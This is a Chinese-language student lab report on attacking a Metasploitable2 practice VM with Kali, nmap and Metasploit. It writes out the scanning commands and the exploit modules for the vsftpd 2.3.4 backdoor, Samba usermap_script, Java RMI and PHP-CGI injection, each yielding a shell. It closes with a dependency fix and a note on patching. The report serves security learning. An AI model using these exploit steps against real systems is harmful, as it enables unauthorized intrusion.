
得到ip地址为192.168.48.145
启动 Kali,打开终端,输入msfconsole启动 Metasploit。
输入以下命令进行ARP扫描:
search arp_sweep
use 0
set RHOSTS 192.168.48.0/24run
得到目标主机在线,且是VMware虚拟机
2.1.2端口扫描
使用命令:
nmap -sS -sV 192.168.48.145
对靶机进行SYN扫描

发现靶机上开放了大量端口和漏洞
在msfconsole中使用tcp扫描,发现靶机开放的端口如下:

2.2Vsftpd源码包后门漏洞(21端口)
使用命令:
nmap -sV -p 21 192.168.48.145
扫描靶机21端口

看出靶机端口21开放,运行vsftpd 2.3.4
在Mestasploit中利用vsftpd 2.3.4的后门漏洞
使用命令:
use exploit/unix/ftp/vsftpd_234_backdoor
set RHOSTS 192.168.48.145
可以看出利用该漏洞可以获取靶机shell,用ls命令能查看目录文件
2.3SambaMS-RPC Shell命令注入漏洞(端口139)
使用命令:
nmap -p 139 192.168.48.145
扫描靶机139端口

在Metasploit利用漏洞,命令如下:
use exploit/multi/samba/usermap_script
set RHOST 192.168.48.145
run

获得了靶机shell,并能使用命令
2.4Java RMI SERVER命令执行漏洞(1099端口)
使用命令:
nmap -p 1099 192.168.48.145
扫描靶机1099端口是否开放

在Metasploit利用Java RMI执行漏洞
use exploit/multi/misc/java_rmi_server
set RHOST 192.168.48.145run
执行漏洞后,输入shell进入交互式shell,可执行各种命令
2.5PHP CGI参数执行注入漏洞(80端口)
使用命令:
nmap -p 80 192.168.48.145
扫描靶机80端口

在Metasploit中利用PHP-CGI的注入漏洞
use exploit/multi/http/php_cgi_arg_injection
set RHOST 192.168.48.145run
攻击成功后,会获得 shell,可执行命令验证
三.问题及解决方案
问题:msfconsole无法正常使用

解决方法:执行apt update更新系统包列表,再用apt install ruby-psych安装缺失的 Ruby 依赖包,随后进入 Metasploit 目录(cd /usr/share/metasploit-framework)执行bundle install --redownload修复 Gem 依赖,必要时通过msfupdate更新 Metasploit,完成后重新运行msfconsole,即可修复依赖问题并正常启动 Metasploit。
四.学习感悟、思考
本次实验通过 Metasploit 对 Metasploitable2 靶机的多个经典漏洞进行了渗透测试,掌握了主机发现、端口扫描、漏洞利用的基本流程。Metasploit 的模块化设计极大简化了渗透测试步骤,但实际攻击中需注意目标网络环境和权限限制。通过实验深刻认识到服务版本漏洞的危害性,后续应加强对服务器版本管理和漏洞补丁的重视。